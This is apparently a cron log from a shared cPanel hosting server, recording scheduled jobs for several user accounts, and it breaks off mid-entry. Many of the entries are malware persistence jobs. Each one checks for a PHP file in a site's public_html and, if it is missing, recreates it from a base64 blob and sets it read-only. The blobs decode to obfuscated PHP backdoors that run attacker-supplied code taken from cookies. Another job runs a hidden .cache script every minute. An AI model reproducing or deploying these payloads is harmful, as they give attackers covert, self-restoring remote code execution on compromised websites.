Jun  7 10:56:02 medusa CROND[3884]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:56:02 medusa CROND[3885]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:56:02 medusa CROND[3886]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:56:02 medusa CROND[3887]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:56:02 medusa CROND[3888]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:57:01 medusa CROND[5586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:57:02 medusa CROND[5590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:57:02 medusa CROND[5591]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:57:02 medusa CROND[5593]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:57:02 medusa CROND[5594]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:57:02 medusa CROND[5595]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:57:02 medusa CROND[5596]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:57:02 medusa CROND[5600]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:57:02 medusa CROND[5605]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 10:57:02 medusa CROND[5608]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:57:02 medusa CROND[5610]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:57:02 medusa CROND[5611]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:58:01 medusa CROND[7006]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:58:01 medusa CROND[7007]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 10:58:01 medusa CROND[7008]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:58:01 medusa CROND[7009]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:58:01 medusa CROND[7010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:58:01 medusa CROND[7011]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:58:01 medusa CROND[7013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:58:01 medusa CROND[7015]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX